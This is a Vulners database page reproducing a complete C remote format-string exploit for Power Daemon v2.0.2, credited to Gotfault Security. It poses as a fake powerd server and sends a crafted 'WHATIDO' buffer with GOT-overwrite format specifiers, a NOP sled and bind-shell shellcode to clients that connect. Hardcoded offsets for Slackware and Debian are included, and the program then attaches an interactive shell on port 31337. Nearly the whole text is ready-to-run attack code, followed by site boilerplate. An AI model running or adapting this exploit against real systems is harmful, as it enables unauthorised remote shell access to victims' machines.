Vulners
Lucene search
Power Daemon 2.0.2 - 'WHATIDO' Remote Format String
/*
* gexp-powerd.c
*
* Power Daemon v2.0.2 Remote Format String Exploit
* Copyright (C) 2005 Gotfault Security
*
* Bug found and developed by: barros and xgc
*
* Original Reference:
* http://gotfault.net/research/exploit/gexp-powerd.c
*
*/
#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>
/*==[ Prototypes ]==*/
void fatal(char *);
void Usage(char *);
void FakeServer(char *,int);
void ExecuteShell(int);
int CreateEvilBuffer(int,int,int,int,char *);
int ConnectToShell(char *,int);
/*==[ Defines ]==*/
#define DEFAULT_PORT 532 // Default fake server port
#define BIND_PORT 31337 // Default port to bind
#define NOPSIZE 50 // Number of NOP
#define NOP 0x90 // NOP byte
#define PAD "" // Format string alignment
#define PORT_OFFSET 29 // Offset to fix the shellcode
#define STDIN 0
#define STDOUT 1
/*==[ Targets ]==*/
struct
{
char *Name;
int Gotaddr;
int Retaddr;
int Pop;
}Targets[] =
{
"Power Daemon v2.0.2 @ Slackware 10.0",
0x0804c180,
0xbffff2d4,
17,
"Power Daemon v2.0.2 @ Debian 3.1 Linux",
0x0804c198,
0xbffff16c,
27,
// Finish
0,
0,
0,
0
};
/*==[ Shellcode by Marco Ivaldi <[email protected]> ]==*/
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68"
"BP" // Port to bind
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
"\xb0\x66\xb3\x04\xcd\x80"
"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80"
"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
extern char *optarg;
extern int optind;
char opt;
char *Host = NULL;
int Port = DEFAULT_PORT;
int BindPort = BIND_PORT;
int TargetNumber = -1;
int Sock,i;
char EvilBuffer[1024];
int BufLen;
fprintf(stdout,"\n--=[ Power Daemon Remote Format String Exploit ]\n\n");
// Process arguments
while ( (opt = getopt(argc,argv,"t:p:r:")) != EOF)
{
switch(opt)
{
case 'r':
BindPort = atoi(optarg);
if(!BindPort) Usage(argv[0]);
break;
case 'p':
Port = atoi(optarg);
if(!Port) Usage(argv[0]);
break;
case 't':
TargetNumber = atoi(optarg);
break;
default: Usage(argv[0]);
break;
}
}
// Verify target
for(i=0;;i++)
if(Targets[i].Name == 0) break;
if(TargetNumber == -1) Usage(argv[0]);
fprintf(stdout,"[*] Plataform : %s\n",Targets[TargetNumber].Name);
fprintf(stdout,"[*] Target GOT : %#010x\n",Targets[TargetNumber].Gotaddr);
fprintf(stdout,"[*] Target Retaddr : %#010x\n",Targets[TargetNumber].Retaddr);
fprintf(stdout,"[*] Bind to port : %u\n",BindPort);
fprintf(stdout,"[*] Target POP : %d\n\n",Targets[TargetNumber].Pop);
CreateEvilBuffer(Targets[TargetNumber].Gotaddr,Targets[TargetNumber].Retaddr,Targets[TargetNumber].Pop,BindPort,EvilBuffer);
FakeServer(EvilBuffer, BindPort);
}
void FakeServer(char *EvilBuffer, int BindPort) {
int sock, newsock, i, reuseaddr = 1;
struct sockaddr_in remoteaddr;
struct sockaddr_in localaddr;
int addrlen = sizeof(struct sockaddr_in);
struct hostent *he;
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(DEFAULT_PORT);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);
fprintf(stdout,"[*] Creating Fake Server : ");
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror(" socket()");
printf("\n");
exit(1);
}
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
(socklen_t)sizeof(reuseaddr)) < 0) {
perror(" setsockopt()");
printf("\n");
exit(1);
}
if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
perror(" bind()");
printf("\n");
exit(1);
}
if (listen(sock, 1) < 0) {
perror(" listen()");
printf("\n");
exit(1);
}
fprintf(stdout, "done\n");
printf("[*] Waiting Client : ");
fflush(stdout);
if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) < 0) {
perror(" accept()");
printf("\n");
exit(1);
}
if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
perror(" getpeername()");
printf("\n");
exit(1);
}
fprintf(stdout, "done\n");
fprintf(stdout, "[*] Host Connected : %s:%u\n", inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));
fprintf(stdout, "[*] Sending EvilBuffer : ");
if(send(newsock,EvilBuffer,strlen(EvilBuffer)+1,0) == -1) {
fatal("send()");
}
fprintf(stdout, "done\n\n");
memset(EvilBuffer, 0x00, sizeof(EvilBuffer));
strcpy(EvilBuffer, (char *)inet_ntoa(remoteaddr.sin_addr));
close(newsock);
sleep(1);
newsock = ConectToShell(EvilBuffer,BindPort);
if(newsock == -1) {
fprintf(stdout,"[*] Exploit Failed.\n\n");
exit(0);
}
else {
fprintf(stdout,"[*] Spawning Shell...\n\n");
ExecuteShell(newsock);
close(newsock);
}
fflush(stdout);
}
int CreateEvilBuffer(int GOT, int RETADDR, int POP, int BINDTOPORT, char *buffer)
{
char *nops = malloc(NOPSIZE+1);
char *ptr;
unsigned short *len;
unsigned short *portPtr = (unsigned short *)(shellcode+PORT_OFFSET);
// Fix shellcode
*portPtr = htons(BINDTOPORT);
ptr = buffer;
// Create Nops
bzero(nops,NOPSIZE+1);
memset(nops,NOP,NOPSIZE);
fprintf(stdout, "[*] Creating EvilBuffer : ");
// Create format string attack
sprintf(ptr,"WHATIDO "
PAD
"%c%c%c%c"
"%c%c%c%c"
"%%.%dd"
"%%%d$hn"
"%%.%dd"
"%%%d$hn"
"%s%s",
((u_long)GOT),
((u_long)GOT >> 8),
((u_long)GOT >> 16),
((u_long)GOT >> 24),
((u_long)GOT+2),
(((u_long)GOT+2) >> 8),
(((u_long)GOT+2) >> 16),
(((u_long)GOT+2) >> 24),
((RETADDR & 0x0000FFFF) - 26),
POP,
(((RETADDR & 0xFFFF0000)>>16) + 0x10000 - (RETADDR & 0x0000FFFF)),
POP+1,nops,shellcode);
fprintf(stdout, "done\n");
fflush(stdout);
return (strlen(ptr));
}
int ConectToShell(char *Host,int Port)
{
struct sockaddr_in server;
struct hostent *hp;
int s;
server.sin_family = AF_INET;
hp = gethostbyname(Host);
if(!hp) return(-1);
memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
server.sin_port = htons(Port);
s = socket(PF_INET,SOCK_STREAM,0);
if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
return(-1);
return(s);
}
void ExecuteShell(int Sock)
{
char buffer[1024 * 10];
int count;
fd_set readfs;
write(Sock,"uname -a;id\n",12);
while(1)
{
FD_ZERO(&readfs);
FD_SET(STDIN, &readfs);
FD_SET(Sock, &readfs);
if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)
{
if(FD_ISSET(STDIN, &readfs))
{
if((count = read(STDIN, buffer, 1024)) <= 0)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
{
close(Sock);
exit(-1);
}
}
write(Sock, buffer, count);
}
if(FD_ISSET(Sock, &readfs))
{
if((count = read(Sock, buffer, 1024)) <= 0)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
{
close(Sock);
exit(-1);
}
}
write(STDOUT, buffer, count);
}
}
}
}
void fatal(char *ErrorMsg)
{
fprintf(stderr,"ERROR - %s\n\n",ErrorMsg);
exit(1);
}
void Usage(char *Prog)
{
int i;
fprintf(stderr, "Usage: %s <options>\n\n"
"Options:\n\n"
" -t target : Select the target\n"
" -p portnumber : Sets a new port number <default: %d>\n"
" -r bindport : Sets the port to bind a shell <default: %d>\n\n"
"Targets:\n\n",Prog,DEFAULT_PORT,BIND_PORT);
for(i=0;;i++)
{
if(Targets[i].Name != 0)
fprintf(stderr," [%u] %s\n",i,Targets[i].Name);
else
break;
}
fprintf(stderr,"\n");
exit(1);
}
// milw0rm.com [2006-02-10]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Feb 2006 00:00Current
7High risk
Vulners AI Score7